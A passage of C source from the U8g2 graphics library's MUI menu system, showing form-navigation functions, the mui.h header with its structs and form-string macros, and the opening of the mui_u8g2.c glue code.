= NULL; /* inform all fields that we leave the form */ MUI_DEBUG("mui_LeaveForm: form_end\n"); mui_loop_over_form(ui, mui_task_form_end); ui->current_form_fds = NULL; } /* 0: error, form not found */ /* if called from a field function, then the current field variables are destroyed, so that call should be the last call in the field callback. */ uint8_t mui_GotoForm(mui_t *ui, uint8_t form_id, uint8_t initial_cursor_position) { fds_t *fds = mui_find_form(ui, form_id); if ( fds == NULL ) return 0; /* EnterForm will also leave any previous form */ mui_EnterForm(ui, fds, initial_cursor_position); return 1; } void mui_SaveForm(mui_t *ui) { if ( mui_IsFormActive(ui) == 0 ) return; ui->last_form_fds = ui->cursor_focus_fds; ui->last_form_id = mui_get_fds_char(ui->current_form_fds+1); ui->last_form_cursor_focus_position = mui_GetCurrentCursorFocusPosition(ui); } /* if called from a field function, then the current field variables are destroyed, so that call should be the last call in the field callback. */ void mui_RestoreForm(mui_t *ui) { mui_GotoForm(ui, ui->last_form_id, ui->last_form_cursor_focus_position); } /* Save a cursor position for mui_GotoFormAutoCursorPosition command Two such positions is stored. */ void mui_SaveCursorPosition(mui_t *ui, uint8_t cursor_position) { uint8_t form_id = mui_get_fds_char(ui->current_form_fds+1); MUI_DEBUG("mui_SaveCursorPosition form_id=%d cursor_position=%d\n", form_id, cursor_position); if ( form_id == ui->menu_form_id[0] ) ui->menu_form_last_added = 0; else if ( form_id == ui->menu_form_id[1] ) ui->menu_form_last_added = 1; else ui->menu_form_last_added ^= 1; ui->menu_form_id[ui->menu_form_last_added] = form_id; ui->menu_form_cursor_focus_position[ui->menu_form_last_added] = cursor_position; MUI_DEBUG("mui_SaveCursorPosition ui->menu_form_last_added=%d \n", ui->menu_form_last_added); } /* Similar to mui_GotoForm, but will jump to previously stored cursor location (mui_SaveCursorPosition) or 0 if the cursor position was not saved. */ uint8_t mui_GotoFormAutoCursorPosition(mui_t *ui, uint8_t form_id) { uint8_t cursor_position = 0; if ( form_id == ui->menu_form_id[0] ) cursor_position = ui->menu_form_cursor_focus_position[0]; if ( form_id == ui->menu_form_id[1] ) cursor_position = ui->menu_form_cursor_focus_position[1]; MUI_DEBUG("mui_GotoFormAutoCursorPosition form_id=%d cursor_position=%d\n", form_id, cursor_position); return mui_GotoForm(ui, form_id, cursor_position); } /* return current form id or -1 if the menu system is inactive */ int mui_GetCurrentFormId(mui_t *ui) { if ( mui_IsFormActive(ui) == 0 ) return -1; return mui_get_fds_char(ui->current_form_fds+1); } /* updates "ui->cursor_focus_fds" */ /* if called from a field function, then the current field variables are destroyed, so that call should be the last call in the field callback. */ void mui_NextField(mui_t *ui) { do { if ( mui_send_cursor_msg(ui, MUIF_MSG_EVENT_NEXT) ) return; mui_send_cursor_msg(ui, MUIF_MSG_CURSOR_LEAVE); mui_next_field(ui); } while ( mui_send_cursor_enter_msg(ui) == 255 ); } /* updates "ui->cursor_focus_fds" */ /* if called from a field function, then the current field variables are destroyed, so that call should be the last call in the field callback. */ void mui_PrevField(mui_t *ui) { do { if ( mui_send_cursor_msg(ui, MUIF_MSG_EVENT_PREV) ) return; mui_send_cursor_msg(ui, MUIF_MSG_CURSOR_LEAVE); mui_loop_over_form(ui, mui_task_find_prev_cursor_uif); ui->cursor_focus_fds = ui->target_fds; // NULL is ok if ( ui->target_fds == NULL ) { //ui->cursor_focus_position = 0; mui_loop_over_form(ui, mui_task_find_last_cursor_uif); ui->cursor_focus_fds = ui->target_fds; // NULL is ok } } while( mui_send_cursor_enter_msg(ui) == 255 ); } void mui_SendSelect(mui_t *ui) { mui_send_cursor_msg(ui, MUIF_MSG_CURSOR_SELECT); } /* Same as mui_SendSelect(), but will try to find a field, which is marked as "execute on select" (MUIF_EXECUTE_ON_SELECT_BUTTON). If such a field exists, then this field is executed, otherwise the current field will receive the select message. MUIF_EXECUTE_ON_SELECT_BUTTON is set by muif macro MUIF_EXECUTE_ON_SELECT_BUTTON used by MUIInputVersatileRotaryEncoder.ino example */ void mui_SendSelectWithExecuteOnSelectFieldSearch(mui_t *ui) { mui_loop_over_form(ui, mui_task_find_execute_on_select_field); /* Is there a exec on select field? */ if ( ui->target_fds != NULL ) /* yes, found, ui->fds already points to the field */ { fds_t *exec_on_select_field = ui->target_fds; mui_send_cursor_msg(ui, MUIF_MSG_CURSOR_LEAVE); ui->cursor_focus_fds = exec_on_select_field; /* more cursor on the "exec on select" field */ mui_send_cursor_enter_msg(ui); mui_send_cursor_msg(ui, MUIF_MSG_CURSOR_SELECT); } else { /* no "exec on select" field found, just send the select message to the field */ mui_send_cursor_msg(ui, MUIF_MSG_CURSOR_SELECT); } } void mui_SendValueIncrement(mui_t *ui) { mui_send_cursor_msg(ui, MUIF_MSG_VALUE_INCREMENT); } void mui_SendValueDecrement(mui_t *ui) { mui_send_cursor_msg(ui, MUIF_MSG_VALUE_DECREMENT); } ================================================ FILE: Bibliotecas/U8g2/src/clib/mui.h ================================================ /* mui.h Monochrome minimal user interface: Core library. Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2021, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. MUIF (Monochrome User Interface Functions) n: A number 0 to 9 without any quotes, e.g.: 5 id: Exactly two characters or numbers in double quotes, e.g. "G5". cb: A callback function with the following prototype: "uint8_t muif_cb(mui_t *ui, uint8_t msg)" There are MANY predefined callback functions, see separate list var: Address of a variable. text: Normal text, but special characters might be required for some callback functions, for example the text might contain a list of selectable elements separated with the '|' symbol. MUIF_STYLE(n,cb) Corresponding FDS command: MUI_STYLE(n) Change the style of any other elements after MUI_STYLE(n), does not draw anything MUIF_RO(id,cb) Corresponding FDS command: MUI_DATA(id, text) MUI_XY(id, x, y), MUI_XYT(id, x,y,text), MUI_XYA(id, x,y,a), MUI_XYAT(id, x,y,a,text) Places a read only element on the form. The correct FDS command depends on the callback function. MUIF_LABEL(cb) Corresponding FDS command: MUI_LABEL(x,y,text) Places a text at the specified position, similar to MUIF_RO MUIF_GOTO(cb) Corresponding FDS command: MUI_GOTO(x,y,n,text) Places a button at the specified position, similar to MUIF_BUTTON, but does not require an ID. MUIF_BUTTON(id,cb) Corresponding FDS command: MUI_XY(id, x, y), MUI_XYT(id, x,y,text), MUI_XYA(id, x,y,a), MUI_XYAT(id, x,y,a,text) Places a selectable element on the form. MUIF_VARIABLE(id,var,cb) Corresponding FDS command: MUI_XY(id, x, y), MUI_XYA(id, x,y,a) Places a user input element at the specified location. The correct FDS command depends on the callback function. */ #ifndef MUI_H #define MUI_H #include #include #include #if defined(__GNUC__) && defined(__AVR__) #include #endif /*==========================================*/ /* C++ compatible */ #ifdef __cplusplus extern "C" { #endif /*==========================================*/ /* defines */ #define MUI_CHECK_EOFDS /*==========================================*/ /* GNUC AVR PROGMEM interface */ #ifdef __GNUC__ # define MUI_NOINLINE __attribute__((noinline)) #else # define MUI_NOINLINE #endif #if defined(__GNUC__) && defined(__AVR__) # define mui_pgm_read(adr) pgm_read_byte_near(adr) # define mui_pgm_wread(adr) pgm_read_word_near(adr) # define MUI_PROGMEM PROGMEM #endif #ifndef mui_pgm_read # ifndef CHAR_BIT # define mui_pgm_read(adr) (*(const uint8_t *)(adr)) # else # if CHAR_BIT > 8 # define mui_pgm_read(adr) ((*(const uint8_t *)(adr)) & 0x0ff) # else # define mui_pgm_read(adr) (*(const uint8_t *)(adr)) # endif # endif #endif #ifndef mui_pgm_wread # define mui_pgm_wread(adr) (*(const uint16_t *)(adr)) #endif #ifndef MUI_PROGMEM # define MUI_PROGMEM #endif /*=== forward declarations ===*/ typedef struct mui_struct mui_t; typedef const struct muif_struct muif_t; typedef uint8_t (*muif_cb)(mui_t *ui, uint8_t msg); typedef const char fds_t MUI_PROGMEM; /*=== struct declarations === */ struct muif_struct { uint8_t id0; uint8_t id1; uint8_t cflags; // config flags e.g. MUIF_CFLAG_IS_CURSOR_SELECTABLE, if so, then it will not receive any cursor/touch msgs uint8_t extra; void *data; // might be a pointer to a variable muif_cb cb; // callback } MUI_PROGMEM; /* assumes that pointers are 16 bit so encapsulate the wread i another ifdef __AVR__ */ #if defined(__GNUC__) && defined(__AVR__) # define muif_get_id0(muif) mui_pgm_read(&((muif)->id0)) # define muif_get_id1(muif) mui_pgm_read(&((muif)->id1)) # define muif_get_cflags(muif) mui_pgm_read(&((muif)->cflags)) # define muif_get_extra(muif) mui_pgm_read(&((muif)->extra)) # define muif_get_data(muif) ((void *)mui_pgm_wread(&((muif)->data))) # define muif_get_cb(muif) ((muif_cb)mui_pgm_wread(&((muif)->cb))) #else # define muif_get_id0(muif) ((muif)->id0) # define muif_get_id1(muif) ((muif)->id1) # define muif_get_cflags(muif) ((muif)->cflags) # define muif_get_extra(muif) ((muif)->extra) # define muif_get_data(muif) ((muif)->data) # define muif_get_cb(muif) ((muif)->cb) #endif #define MUIF_MSG_NONE 0 #define MUIF_MSG_DRAW 1 #define MUIF_MSG_FORM_START 2 #define MUIF_MSG_FORM_END 3 /* MUIF_MSG_CURSOR_ENTER return values: 255=skip this field, <255, continue*/ #define MUIF_MSG_CURSOR_ENTER 4 #define MUIF_MSG_CURSOR_SELECT 5 /* optional VALUE messages, ignored by the mui core, but can be used inside the field functions */ /* usually MUIF_MSG_VALUE_INCREMENT behaves like MUIF_MSG_CURSOR_SELECT */ #define MUIF_MSG_VALUE_INCREMENT 6 #define MUIF_MSG_VALUE_DECREMENT 7 #define MUIF_MSG_CURSOR_LEAVE 8 #define MUIF_MSG_TOUCH_DOWN 9 #define MUIF_MSG_TOUCH_UP 10 /* MUIF_MSG_EVENT_NEXT return values: 0=not handled, 1=handled, do nothing */ /* If MUIF_MSG_EVENT_NEXT/PREV are NOT handled by the field function, then this msg will change the field */ #define MUIF_MSG_EVENT_NEXT 11 /* MUIF_MSG_EVENT_PREV return values: 0=not handled, 1=handled, do nothing */ #define MUIF_MSG_EVENT_PREV 12 /* dynamic flags */ #define MUIF_DFLAG_IS_CURSOR_FOCUS 0x01 #define MUIF_DFLAG_IS_TOUCH_FOCUS 0x02 /* config flags */ #define MUIF_CFLAG_IS_CURSOR_SELECTABLE 0x01 #define MUIF_CFLAG_IS_TOUCH_SELECTABLE 0x02 #define MUIF_CFLAG_IS_EXECUTE_ON_SELECT 0x04 /* end user MUIF entries */ #define MUIF(id,cflags,data,cb) { id[0], id[1], cflags, 0, data, cb} #define MUIF_STYLE(n,cb) MUIF("S" #n, 0, 0, cb) #define MUIF_RO(id,cb) MUIF(id,0, 0,cb) #define MUIF_LABEL(cb) MUIF(".L",0, 0,cb) #define MUIF_GOTO(cb) MUIF(".G",MUIF_CFLAG_IS_CURSOR_SELECTABLE,0,cb) #define MUIF_BUTTON(id,cb) MUIF(id,MUIF_CFLAG_IS_CURSOR_SELECTABLE,0,cb) #define MUIF_EXECUTE_ON_SELECT_BUTTON(id,cb) MUIF(id,MUIF_CFLAG_IS_CURSOR_SELECTABLE|MUIF_CFLAG_IS_EXECUTE_ON_SELECT,0,cb) #define MUIF_VARIABLE(id,var,cb) MUIF(id,MUIF_CFLAG_IS_CURSOR_SELECTABLE,(var),cb) /* must be smaller than or equal to 255 */ #ifndef MUI_MAX_TEXT_LEN #define MUI_MAX_TEXT_LEN 41 #endif #define MUI_MENU_CACHE_CNT 2 struct mui_struct { void *graphics_data; fds_t *root_fds; muif_t *muif_tlist; size_t muif_tcnt; fds_t *current_form_fds; // the current form, NULL if the ui is not active at the moment fds_t *cursor_focus_fds; // the field which has the current cursor focus, NULL if there is no current focus fds_t *touch_focus_fds; // the field which has touch focus fds_t *token; // current token position uint16_t form_scroll_total; // reserved for MUIF, not used by mui uint16_t form_scroll_top; // reserved for MUIF, not used by mui uint8_t form_scroll_visible; // reserved for MUIF, not used by mui //uint8_t selected_value; // This variable is not used by the user interface but can be used by any field function uint8_t tmp8; /* 0: mse, 1: mud */ uint8_t is_mud; // a temp variable for the MUIF function to store remember up down mode. This variable will be cleared before sending MUIF_MSG_CURSOR_ENTER /* current field/style variables */ //uint8_t cursor_focus_position; // the index of the field which has focus, can be used as last argument for mui_EnterForm uint8_t delimiter; // outer delimiter of the text part of a field uint8_t cmd; // current cmd or field (e.g. U or F) uint8_t id0; // identifier of the field, manually provided or derived (G cmd has fixed id "FG") uint8_t id1; uint8_t x; // position of the field uint8_t y; uint8_t dflags; uint8_t arg; // extra argument of the field. For example the G: form is put here int len; // length of the current command fds_t *fds; // current position, *fds = cmd muif_t *uif; // user interface field or style for the given id0 / id1, assigned by mui_prepare_current_field() char text[MUI_MAX_TEXT_LEN+1]; /* target */ fds_t *tmp_fds; fds_t *target_fds; // used by several task functions as a return / result value /* last form and field, used by mui_SaveForm and mui_RestoreForm */ uint8_t last_form_id; uint8_t last_form_cursor_focus_position; fds_t *last_form_fds; // not used by mui_RestoreForm, but can be used by field functions /* menu cursor position backup */ uint8_t menu_form_id[MUI_MENU_CACHE_CNT]; uint8_t menu_form_cursor_focus_position[MUI_MENU_CACHE_CNT]; uint8_t menu_form_last_added; } ; #define mui_IsCursorFocus(mui) ((mui)->dflags & MUIF_DFLAG_IS_CURSOR_FOCUS) #define mui_IsTouchFocus(mui) ((mui)->dflags & MUIF_CFLAG_IS_TOUCH_SELECTABLE) /*=== form string definitions ===*/ #define MUI_0 "\x00" #define MUI_1 "\x01" #define MUI_2 "\x02" #define MUI_3 "\x03" #define MUI_4 "\x04" #define MUI_5 "\x05" #define MUI_6 "\x06" #define MUI_7 "\x07" #define MUI_8 "\x08" #define MUI_9 "\x09" #define MUI_10 "\x0a" #define MUI_11 "\x0b" #define MUI_12 "\x0c" #define MUI_13 "\x0d" #define MUI_14 "\x0e" #define MUI_15 "\x0f" #define MUI_16 "\x10" #define MUI_17 "\x11" #define MUI_18 "\x12" #define MUI_19 "\x13" #define MUI_20 "\x14" #define MUI_21 "\x15" #define MUI_22 "\x16" #define MUI_23 "\x17" #define MUI_24 "\x18" #define MUI_25 "\x19" #define MUI_26 "\x1a" #define MUI_27 "\x1b" #define MUI_28 "\x1c" #define MUI_29 "\x1d" #define MUI_30 "\x1e" #define MUI_31 "\x1f" #define MUI_32 "\x20" #define MUI_33 "\x21" #define MUI_34 "\x22" #define MUI_35 "\x23" #define MUI_36 "\x24" #define MUI_37 "\x25" #define MUI_38 "\x26" #define MUI_39 "\x27" #define MUI_40 "\x28" #define MUI_41 "\x29" #define MUI_42 "\x2a" #define MUI_43 "\x2b" #define MUI_44 "\x2c" #define MUI_45 "\x2d" #define MUI_46 "\x2e" #define MUI_47 "\x2f" #define MUI_48 "\x30" #define MUI_49 "\x31" #define MUI_50 "\x32" #define MUI_51 "\x33" #define MUI_52 "\x34" #define MUI_53 "\x35" #define MUI_54 "\x36" #define MUI_55 "\x37" #define MUI_56 "\x38" #define MUI_57 "\x39" #define MUI_58 "\x3a" #define MUI_59 "\x3b" #define MUI_60 "\x3c" #define MUI_61 "\x3d" #define MUI_62 "\x3e" #define MUI_63 "\x3f" #define MUI_64 "\x40" #define MUI_65 "\x41" #define MUI_66 "\x42" #define MUI_67 "\x43" #define MUI_68 "\x44" #define MUI_69 "\x45" #define MUI_70 "\x46" #define MUI_71 "\x47" #define MUI_72 "\x48" #define MUI_73 "\x49" #define MUI_74 "\x4a" #define MUI_75 "\x4b" #define MUI_76 "\x4c" #define MUI_77 "\x4d" #define MUI_78 "\x4e" #define MUI_79 "\x4f" #define MUI_80 "\x50" #define MUI_81 "\x51" #define MUI_82 "\x52" #define MUI_83 "\x53" #define MUI_84 "\x54" #define MUI_85 "\x55" #define MUI_86 "\x56" #define MUI_87 "\x57" #define MUI_88 "\x58" #define MUI_89 "\x59" #define MUI_90 "\x5a" #define MUI_91 "\x5b" #define MUI_92 "\x5c" #define MUI_93 "\x5d" #define MUI_94 "\x5e" #define MUI_95 "\x5f" #define MUI_96 "\x60" #define MUI_97 "\x61" #define MUI_98 "\x62" #define MUI_99 "\x63" #define MUI_100 "\x64" #define MUI_101 "\x65" #define MUI_102 "\x66" #define MUI_103 "\x67" #define MUI_104 "\x68" #define MUI_105 "\x69" #define MUI_106 "\x6a" #define MUI_107 "\x6b" #define MUI_108 "\x6c" #define MUI_109 "\x6d" #define MUI_110 "\x6e" #define MUI_111 "\x6f" #define MUI_112 "\x70" #define MUI_113 "\x71" #define MUI_114 "\x72" #define MUI_115 "\x73" #define MUI_116 "\x74" #define MUI_117 "\x75" #define MUI_118 "\x76" #define MUI_119 "\x77" #define MUI_120 "\x78" #define MUI_121 "\x79" #define MUI_122 "\x7a" #define MUI_123 "\x7b" #define MUI_124 "\x7c" #define MUI_125 "\x7d" #define MUI_126 "\x7e" #define MUI_127 "\x7f" #define MUI_128 "\x80" #define MUI_129 "\x81" #define MUI_130 "\x82" #define MUI_131 "\x83" #define MUI_132 "\x84" #define MUI_133 "\x85" #define MUI_134 "\x86" #define MUI_135 "\x87" #define MUI_136 "\x88" #define MUI_137 "\x89" #define MUI_138 "\x8a" #define MUI_139 "\x8b" #define MUI_140 "\x8c" #define MUI_141 "\x8d" #define MUI_142 "\x8e" #define MUI_143 "\x8f" #define MUI_144 "\x90" #define MUI_145 "\x91" #define MUI_146 "\x92" #define MUI_147 "\x93" #define MUI_148 "\x94" #define MUI_149 "\x95" #define MUI_150 "\x96" #define MUI_151 "\x97" #define MUI_152 "\x98" #define MUI_153 "\x99" #define MUI_154 "\x9a" #define MUI_155 "\x9b" #define MUI_156 "\x9c" #define MUI_157 "\x9d" #define MUI_158 "\x9e" #define MUI_159 "\x9f" #define MUI_160 "\xa0" #define MUI_161 "\xa1" #define MUI_162 "\xa2" #define MUI_163 "\xa3" #define MUI_164 "\xa4" #define MUI_165 "\xa5" #define MUI_166 "\xa6" #define MUI_167 "\xa7" #define MUI_168 "\xa8" #define MUI_169 "\xa9" #define MUI_170 "\xaa" #define MUI_171 "\xab" #define MUI_172 "\xac" #define MUI_173 "\xad" #define MUI_174 "\xae" #define MUI_175 "\xaf" #define MUI_176 "\xb0" #define MUI_177 "\xb1" #define MUI_178 "\xb2" #define MUI_179 "\xb3" #define MUI_180 "\xb4" #define MUI_181 "\xb5" #define MUI_182 "\xb6" #define MUI_183 "\xb7" #define MUI_184 "\xb8" #define MUI_185 "\xb9" #define MUI_186 "\xba" #define MUI_187 "\xbb" #define MUI_188 "\xbc" #define MUI_189 "\xbd" #define MUI_190 "\xbe" #define MUI_191 "\xbf" #define MUI_192 "\xc0" #define MUI_193 "\xc1" #define MUI_194 "\xc2" #define MUI_195 "\xc3" #define MUI_196 "\xc4" #define MUI_197 "\xc5" #define MUI_198 "\xc6" #define MUI_199 "\xc7" #define MUI_200 "\xc8" #define MUI_201 "\xc9" #define MUI_202 "\xca" #define MUI_203 "\xcb" #define MUI_204 "\xcc" #define MUI_205 "\xcd" #define MUI_206 "\xce" #define MUI_207 "\xcf" #define MUI_208 "\xd0" #define MUI_209 "\xd1" #define MUI_210 "\xd2" #define MUI_211 "\xd3" #define MUI_212 "\xd4" #define MUI_213 "\xd5" #define MUI_214 "\xd6" #define MUI_215 "\xd7" #define MUI_216 "\xd8" #define MUI_217 "\xd9" #define MUI_218 "\xda" #define MUI_219 "\xdb" #define MUI_220 "\xdc" #define MUI_221 "\xdd" #define MUI_222 "\xde" #define MUI_223 "\xdf" #define MUI_224 "\xe0" #define MUI_225 "\xe1" #define MUI_226 "\xe2" #define MUI_227 "\xe3" #define MUI_228 "\xe4" #define MUI_229 "\xe5" #define MUI_230 "\xe6" #define MUI_231 "\xe7" #define MUI_232 "\xe8" #define MUI_233 "\xe9" #define MUI_234 "\xea" #define MUI_235 "\xeb" #define MUI_236 "\xec" #define MUI_237 "\xed" #define MUI_238 "\xee" #define MUI_239 "\xef" #define MUI_240 "\xf0" #define MUI_241 "\xf1" #define MUI_242 "\xf2" #define MUI_243 "\xf3" #define MUI_244 "\xf4" #define MUI_245 "\xf5" #define MUI_246 "\xf6" #define MUI_247 "\xf7" #define MUI_248 "\xf8" #define MUI_249 "\xf9" #define MUI_250 "\xfa" #define MUI_251 "\xfb" #define MUI_252 "\xfc" #define MUI_253 "\xfd" #define MUI_254 "\xfe" #define MUI_255 "\xff" /* form: one id only */ #define MUI_FORM(n) "U" MUI_##n /* style: one id only */ #define MUI_STYLE(n) "S" #n #define MUI_AUX(id) "Z" id #define MUI_DATA(id, text) "D" id "\xff" text "\xff" #define MUI_XY(id, x, y) "F" id MUI_##x MUI_##y /* button id must be two chars, but must be unique everywhere */ #define MUI_XYT(id, x,y,text) "B" id MUI_##x MUI_##y "\xff" text "\xff" #define MUI_XYA(id, x,y,a) "A" id MUI_##x MUI_##y MUI_##a #define MUI_XYAT(id, x,y,a,text) "T" id MUI_##x MUI_##y MUI_##a "\xff" text "\xff" #define MUI_LABEL(x,y,text) "L" MUI_##x MUI_##y "\xff" text "\xff" #define MUI_GOTO(x,y,n,text) "G" MUI_##x MUI_##y MUI_##n "\xff" text "\xff" #define MUI_goto(x,y,n,text) "g" MUI_##x MUI_##y MUI_##n "\xff" text "\xff" uint8_t mui_get_fds_char(fds_t *s) MUI_NOINLINE; uint8_t mui_fds_first_token(mui_t *ui) MUI_NOINLINE; uint8_t mui_fds_next_token(mui_t *ui) MUI_NOINLINE; uint8_t mui_fds_get_nth_token(mui_t *ui, uint8_t n) MUI_NOINLINE; uint8_t mui_fds_get_token_cnt(mui_t *ui) MUI_NOINLINE; void mui_Init(mui_t *ui, void *graphics_data, fds_t *fds, muif_t *muif_tlist, size_t muif_tcnt); uint8_t mui_GetCurrentCursorFocusPosition(mui_t *ui) ; void mui_Draw(mui_t *ui); /* warning: The next function will overwrite the ui field variables like ui->arg, etc. 26 sep 2021: only ui->text is modified */ uint8_t mui_GetSelectableFieldTextOption(mui_t *ui, fds_t *fds, uint8_t nth_token); /* warning: The next function will overwrite the ui field variables like ui->arg, etc 26 sep 2021: only ui->text is modified*/ uint8_t mui_GetSelectableFieldOptionCnt(mui_t *ui, fds_t *fds); void mui_EnterForm(mui_t *ui, fds_t *fds, uint8_t initial_cursor_position); void mui_LeaveForm(mui_t *ui); uint8_t mui_GotoForm(mui_t *ui, uint8_t form_id, uint8_t initial_cursor_position); void mui_SaveForm(mui_t *ui); /* Save current form+cursor position. Used together with mui_RestoreForm */ void mui_RestoreForm(mui_t *ui); /* Restore form and cursor position, previously saved with mui_SaveForm */ void mui_SaveCursorPosition(mui_t *ui, uint8_t cursor_position); /* stores a cursor position for use with mui_GotoFormAutoCursorPosition */ uint8_t mui_GotoFormAutoCursorPosition(mui_t *ui, uint8_t form_id); int mui_GetCurrentFormId(mui_t *ui); /* form id or -1 if the menu system is inactive */ void mui_NextField(mui_t *ui); void mui_PrevField(mui_t *ui); void mui_SendSelect(mui_t *ui); void mui_SendSelectWithExecuteOnSelectFieldSearch(mui_t *ui); /* use this if MUIF_EXECUTE_ON_SELECT_BUTTON is used */ void mui_SendValueIncrement(mui_t *ui); void mui_SendValueDecrement(mui_t *ui); #define mui_IsFormActive(ui) ((ui)->current_form_fds != NULL) #ifdef __cplusplus } #endif #endif /* MUI_H */ ================================================ FILE: Bibliotecas/U8g2/src/clib/mui_u8g2.c ================================================ /* mui_u8g2.c Monochrome minimal user interface: Glue code between mui and u8g2. Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2021, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* field function naming convention action draw_text: (rename from draw label) draw_str: btn_jmp button jump to: a button which jumps to a specific form btn_exit button leave: a button which leaves the form and places an exit code into a uint8 variable u8_value_0_9 u8_chkbox u8_radio u8_opt_line edit value options in the same line u8_opt_parent edit value options parent u8_opt_child edit value options child field width (not for draw text/str) wm minimum width wa width can be provided via FDS argument w1 full display width w2 half display size (minus some pixel) w3 one/third of the dispay width (minus some pixel) edit mode (not for draw text/str, buttons and checkbox) mse select: select event will increment the value or activate the field (buttons) mud up/down: select will enter the up/down edit mode. Next/prev event will increment/decrement the value styles (not for draw text/str) unselected selected up/down edit postfix Use for plain invers invers + gap + frame pi input elements frame invers+frame frame fi buttons plain frame invers + frame pf input elements invers frame invers + frame if buttons mui_u8g2_[action]_[field_width]_[edit_mode]_[style] mui _label_u8g2 --> mui_u8g2_draw_text mui _goto_frame_button_invers_select_u8g2 --> mui_u8g2_btn_goto_wm_fi mui _goto_half_width_frame_button_invers_select_u8g2 --> mui_u8g2_btn_goto_w2_fi mui _goto_line_button_invers_select_u8g2 --> mui_u8g2_btn_goto_w1_fi mui _leave_menu_frame_button_invers_select_u8g2 --> mui_u8g2_btn_exit_wm_fi mui _input_uint8_invers_select_u8g2 --> mui_u8g2_u8_value_0_9_wm_mse_pi mui _single_line_option_invers_select_u8g2 --> mui_u8g2_u8_opt_line_wa_mse_pi mui _select_options_parent_invers_select_u8g2 --> mui_u8g2_u8_opt_parent_wa_mse_pi mui _select_options_child_invers_select_u8g2 --> mui_u8g2_u8_opt_child_wm_pi mui _checkbox_invers_select_u8g2 --> mui_u8g2_u8_chkbox_wm_pi mui _radio_invers_select_u8g2 --> mui_u8g2_u8_radio_wm_pi mui _input_char_invers_select_u8g2 --> mui_u8g2_u8_char_wm_mud_pi 2 Buttons Only use "mse", don't use "mud" Button Call Description 1 mui_SendSelect() Activate elements & change values 2 mui_NextField() Goto next field 3 Buttons Use "mse" or "mud" Button Call Description 1 mui_SendSelect() Activate elements / change values (mse) / enter "mud" mode (mud) 2 mui_NextField() Goto next field, increment value (mud) 3 mui_PrevField() Goto prev field, decrement value (mud) 4 Buttons Prefer "mse" Button Call Description 1 mui_SendValueIncrement() Activate elements / increment values (mse) 2 mui_SendValueDecrement() Activate elements / decrement values (mse) 3 mui_NextField() Goto next field 4 mui_PrevField() Goto prev field 5 Buttons Prefer "mse", use the MUIF_EXECUTE_ON_SELECT_BUTTON on forms to finish the form with the "form select" button 5 Button Call Description 1 mui_SendValueIncrement() Activate elements / increment values (mse) 2 mui_SendValueDecrement() Activate elements / decrement values (mse) 3 mui_NextField() Goto next field 4 mui_PrevField() Goto prev field 5 mui_SendSelectWithExecuteOnSelectFieldSearch() Execute the MUIF_EXECUTE_ON_SELECT_BUTTON button or activate the current element if there is no EOS button rotary encoder, push&release Prefer "mud" Button Call Description encoder button mui_SendSelect() Activate elements / change values (mse) / enter "mud" mode (mud) encoder CW mui_NextField() Goto next field, increment value (mud) encoder CCW mui_PrevField() Goto prev field, decrement value (mud) rotary encoder, push&rotate Prefer "mse" Button Call Description encoder CW mui_SendValueIncrement() Activate elements / increment values (mse) encoder CCW mui_SendValueDecrement() Activate elements / decrement values (mse) encoder CW+button press mui_NextField() Goto next field encoder CCW+button press mui_PrevField() Goto prev field */ #include "mui.h" #include "u8g2.h" #include "mui_u8g2.h" /* uint8_t mui_template(mui_t *ui, uint8_t msg) { //u8g2_t *u8g2 = mui_get_U8g2(ui); //ui->dflags MUIF_DFLAG_IS_CURSOR_FOCUS MUIF_DFLAG_IS_TOUCH_FOCUS //muif_get_cflags(ui->uif) MUIF_CFLAG_IS_CURSOR_SELECTABLE //muif_get_data(ui->uif) switch(msg) { case MUIF_MSG_DRAW: break; case MUIF_MSG_FORM_START: break; case MUIF_MSG_FORM_END: break; case MUIF_MSG_CURSOR_ENTER: break; case MUIF_MSG_CURSOR_SELECT: break; case MUIF_MSG_CURSOR_LEAVE: break; 